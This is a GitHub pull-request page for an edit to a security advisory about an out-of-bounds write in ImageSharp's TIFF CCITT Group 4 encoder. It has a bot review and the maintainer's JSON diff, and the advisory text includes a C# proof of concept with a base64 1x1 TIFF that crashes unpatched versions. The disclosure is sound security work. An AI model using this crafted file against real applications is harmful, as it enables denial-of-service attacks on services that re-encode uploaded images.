Skip to content

[GHSA-jjfr-hcj7-qf5w] ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer - #10270

Open
JimBobSquarePants wants to merge 1 commit into
JimBobSquarePants/advisory-improvement-10270from
JimBobSquarePants-GHSA-jjfr-hcj7-qf5w
Open

JimBobSquarePants wants to merge 1 commit into
JimBobSquarePants/advisory-improvement-10270from
JimBobSquarePants-GHSA-jjfr-hcj7-qf5w

Conversation

@JimBobSquarePants

Copy link
Copy Markdown

Updates

  • Affected products
  • Description

Comments
The fix has been backported and released in ImageSharp 3.2.0. Split the affected ranges to exclude the fixed v3 release while preserving the existing v4 fix. The repository advisory has already been updated.

Release: https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0
Repository advisory: GHSA-jjfr-hcj7-qf5w

Copilot AI balanced review requested due to automatic review settings October 9, 2026 09:17
@github

github commented Oct 9, 2026

Copy link
Copy Markdown
Collaborator

Hi there @JimBobSquarePants! A community member has suggested an improvement to your security advisory. If approved, this change will affect the global advisory listed at github.com/advisories. It will not affect the version listed in your project repository.

This change will be reviewed by our Security Curation Team. If you have thoughts or feedback, please share them in a comment here! If this PR has already been closed, you can start a new community contribution for this advisory

@github-actions
github-actions Bot changed the base branch from main to JimBobSquarePants/advisory-improvement-10270 October 9, 2026 09:18

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Changes recommended

The modified timestamp predates the release and advisory update it records.

1 open finding
What changed in this PR

Updates the ImageSharp advisory after the v3 security-fix backport.

Changes:

  • Adds ImageSharp 3.2.0 as a patched version.
  • Splits affected ranges between v2/v3 and v4 releases.
File Description
GHSA-jjfr-hcj7-qf5w.json Updates advisory details and affected-version metadata.

🧠 Review effort: Balanced


💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

"schema_version": "1.4.0",
"id": "GHSA-jjfr-hcj7-qf5w",
"modified": "2026-10-07T20:24:46Z",
"modified": "2026-10-07T20:24:49Z",
@JimBobSquarePants

JimBobSquarePants commented Oct 9, 2026 •

Copy link
Copy Markdown
Author

The review is correct. I have corrected the repository advisory description. Its current updated_at is 10/09/2026 11:35:24.

I cannot push to the GitHub-managed contribution branch (the Contents API returns HTTP 404 for the update). Please apply the following correction to this PR. It aligns the description with the existing affected ranges and sets modified to the repository advisory's actual update timestamp.

Exact JSON changes
--- a/advisories/github-reviewed/2026/10/GHSA-jjfr-hcj7-qf5w/GHSA-jjfr-hcj7-qf5w.json
+++ b/advisories/github-reviewed/2026/10/GHSA-jjfr-hcj7-qf5w/GHSA-jjfr-hcj7-qf5w.json
@@ -4 +4 @@
-  "modified": "2026-10-07T20:24:49Z",
+  "modified": "10/09/2026 11:35:24",
@@ -10 +10 @@
-  "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\nThe TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.1.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.\n### Details\n\n[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.\n\nAfter encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.\n\nThe default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.\n\n### Tested environment\n\n- Published NuGet package: `SixLabors.ImageSharp` 4.1.1\n- Target framework: `net8.0`\n- .NET SDK: 8.0.424\n- .NET runtime: 8.0.30\n- Operating system: Debian GNU/Linux 12, ARM64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nCreate a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\n\nstring mode = args.FirstOrDefault() ?? \"exploit\";\nbyte[] input = Convert.FromBase64String(\n    \"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA\");\n\nusing Image image = Image.Load(input);\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nConsole.WriteLine($\"ImageSharp={typeof(Image).Assembly.GetName().Version}\");\nConsole.WriteLine($\"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}\");\n\nusing var output = new MemoryStream();\nif (mode == \"control\")\n{\n    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });\n}\nelse\n{\n    image.Save(output, new TiffEncoder());\n}\n\nConsole.WriteLine($\"encoded=True bytes={output.Length}\");\n```\n\nRun:\n\n```text\ndotnet run -- exploit\ndotnet run -- control\n```\n\nThe exploit produced exit code 134:\n\n```text\nImageSharp=4.0.0.0\nmode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nUnhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.\n   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)\n```\n\nThe control completed with exit code 0:\n\n```text\nImageSharp=4.0.0.0\nmode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nencoded=True bytes=212\n```\n\n### Impact\n\nOne attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.",
+  "details": "### Patched versions\n\nFixed in ImageSharp **3.2.0** and **4.1.2**. Users on v3 should upgrade to 3.2.0; users on v4 should upgrade to 4.1.2 or later.\n\n### Summary\n\nThe TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected ranges: `>= 2.1.0, < 3.2.0` and `>= 4.0.0, < 4.1.2`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. The capacity defect affects versions from v2.1.0 up to, but not including, v3.2.0, and v4 versions from v4.0.0 up to, but not including, v4.1.2.\n### Details\n\n[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.\n\nAfter encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.\n\nThe default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.\n\n### Tested environment\n\n- Published NuGet package: `SixLabors.ImageSharp` 4.1.1\n- Target framework: `net8.0`\n- .NET SDK: 8.0.424\n- .NET runtime: 8.0.30\n- Operating system: Debian GNU/Linux 12, ARM64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nCreate a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\n\nstring mode = args.FirstOrDefault() ?? \"exploit\";\nbyte[] input = Convert.FromBase64String(\n    \"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA\");\n\nusing Image image = Image.Load(input);\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nConsole.WriteLine($\"ImageSharp={typeof(Image).Assembly.GetName().Version}\");\nConsole.WriteLine($\"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}\");\n\nusing var output = new MemoryStream();\nif (mode == \"control\")\n{\n    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });\n}\nelse\n{\n    image.Save(output, new TiffEncoder());\n}\n\nConsole.WriteLine($\"encoded=True bytes={output.Length}\");\n```\n\nRun:\n\n```text\ndotnet run -- exploit\ndotnet run -- control\n```\n\nThe exploit produced exit code 134:\n\n```text\nImageSharp=4.0.0.0\nmode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nUnhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.\n   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)\n```\n\nThe control completed with exit code 0:\n\n```text\nImageSharp=4.0.0.0\nmode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nencoded=True bytes=212\n```\n\n### Impact\n\nOne attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.\n",

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants